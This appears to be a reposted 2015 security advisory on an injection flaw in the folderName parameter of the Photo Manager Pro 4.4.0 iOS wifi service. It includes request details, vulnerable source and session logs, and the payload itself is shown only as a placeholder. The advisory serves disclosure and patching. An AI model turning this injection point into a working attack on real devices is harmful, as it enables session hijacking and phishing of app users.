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Linkus Photo Manager Pro 4.4.0 Code Execution

Linkus Photo Manager Pro 4.4.0 Code Execution
Posted Apr 21, 2015
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

Linkus Photo Manager Pro version 4.4.0 suffers from a code execution vulnerability.

tags | exploit, code execution
SHA-256 | 17f43a96d245003246de2b030644e3fb197c4bc15ff7079485eb6279503bef62

Linkus Photo Manager Pro 4.4.0 Code Execution

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Document Title:
Photo Manager Pro 4.4.0 iOS - Code Execution Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Do you have troubles for managing thousands of photos and videos? Do you have any private photos or videos? Are you looking for a photo portfolio app?
Photo Manager Pro is exactly you are looking for. Photo Manager Pro is extremely easy to use. TP Transfer: Transfer folders and files between computer
and device over wifi network. HTTP Transfer: Transfer files between computer and device over wifi network. View photos in the browser. Peer to Peer
Transfer: Directly transfer files between iPad, iPhone and iPod Touch over wifi network. USB Transfer: Import/Export photos from/to iTunes file sharing.
Basic Transfer: Import/Export photos from/to the Photos app.

(Copy of the Vendor Homepage: https://itunes.apple.com/de/app/photo-manager-pro/id393858562 & http://www.linkusnow.com/photomanager/help/ipad/help_main.php )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered a code execution vulnerability in the official Linkus Photo Manager Pro v4.4.0 iOS mobile web-application.

Vulnerability Disclosure Timeline:
2015-03-10: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: Photo Manager Pro - iOS Mobile Web Application (Wifi) 4.4.0

Exploitation Technique:

Severity Level:

Technical Details & Description:
An arbitrary code execution vulnerability has been discovered in the official Linkus Photo Manager Pro v4.4.0 iOS mobile web-application.
The vulnerability allows remote attackers to execute malicious codes on the application-side of the vulnerable app to compromise the
target mobile device.

The vulnerability is located in the `folderName` value of the `newfolder.action` module. Remote attackers are able to manipulate the
`folderName` value in the `index.html#?w=300` file POST method request to compromise the application, user session information or connected
device components. The attacker tampers the new Folder POST method request to exchange the regular folderName value with special crafted code.
The input context is becomes visible at the main index service or subfolder (path). The vector of the vulnerability is located on the application-side.

The security risk of the arbitrary code execution vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.6.
Exploitation of the arbitrary code execution vulnerability requires no user interaction or privileged web-application user account with password.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent
manipulation function or connected module context.

Request Method(s):
[+] [POST]

Vulnerable Module(s):
[+] newfolder.action

Vulnerable Parameter(s):
[+] folderName

Affected Module(s):
[+] Index (http://localhost:8080)
[+] Sub Category Path

Proof of Concept (PoC):
The code execution vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Create Folder

<div id="main"><div id="breadcrumb">Home</div>
<div id="content"><ul id="folders_ul"><li><div class="folder_item_bg"><img src="images/blank.gif" class="blank"><a href="browse_folder.html?folderID=1"><img src="images/blank_thumbnail.png" height="86" width="80"></a></div><div class="folder_label"><a href="browse_folder.html?folderID=1">Family</a></div></li><li><div class="folder_item_bg"><img src="images/blank.gif" class="blank"><a href="browse_folder.html?folderID=2"><img src="images/blank_thumbnail.png" height="86" width="80"></a></div><div class="folder_label"><a href="browse_folder.html?folderID=2">Friends</a></div></li><li><div class="folder_item_bg"><img src="images/blank.gif" class="blank"><a href="browse_folder.html?folderID=3"><img src="images/blank_thumbnail.png" height="86" width="80"></a></div><div class="folder_label"><a href="browse_folder.html?folderID=3">Travel</a></div></li><li><div class="folder_item_bg"><img src="images/blank.gif" class="blank"><a href="browse_folder.html?folderID=4"><img src="images/blank_thumbnail.png" height="86" width="80"></a></div><div class="folder_label"><a href="browse_folder.html?folderID=4">Shopping</a></div></li><li><div class="folder_item_bg"><img src="images/blank.gif" class="blank"><a href="browse_folder.html?folderID=5"><img src="images/blank_thumbnail.png" height="86" width="80"></a></div><div class="folder_label"><a href="browse_folder.html?folderID=5">Funny;[CODE EXECUTION VULNERABILITY VIA FOLDERNAME!]></a></div></iframe></a></div></li></ul></div>

... after surfing to the created folder

<div id="wrapper">
<div id="header">
<div id="title">
<h1>Photo Manager Pro</h1>
<div id="main">
<div id="breadcrumb"><span id="breadcrumb_span"><a href="index.html">Home</a><label> > <a href="browse_folder.html?folderID=5">Funny;[CODE EXECUTION VULNERABILITY VIA FOLDERNAME!]></a></label></x></a></label></span></div>
<form id="download_form" action="download.action" method="post">
<div id="content"><ul></ul></div>

PoC: Vulnerable Source

function createFolder() {
type: 'POST',
url: 'newfolder.action',
cache: false,
dataType: 'json',
data: {folderName:$('#foldername').attr('value'), isSubfolder:$('#is_subfolder_hidden').attr('value'), parentFolderID:$('#parent_folder_hidden').attr('value')},
async: false,
success: function(result) {

--- Poc Session Logs [POST] (Inject) ---
Status: 200[OK]
POST http://localhost:8080/newfolder.action
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[23] Mime Type[application/x-unknown-content-type]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
Response Header:
Date[Do., 05 März 2015 20:34:46 GMT]

Status: 200[OK]
GET http://localhost:8080/index.html
Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[9421] Mime Type[application/x-unknown-content-type]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept-Encoding[gzip, deflate]
Response Header:
Date[Do., 05 März 2015 20:34:46 GMT]

Status: 200[OK]
GET http://localhost:8080/javascript/linkus.js
Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[397] Mime Type[application/x-unknown-content-type]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept-Encoding[gzip, deflate]
Response Header:
Date[Do., 05 März 2015 20:34:46 GMT]


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse and encode of the vulnerable folderName value. Restrict the input and filter the context by usage of a own exception to
prevent the application-side code execution.

Security Risk:
The security risk of the code execution vulnerability in the photo manager wifi service is estimated as high. (CVSS 8.6)

Credits & Authors:
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

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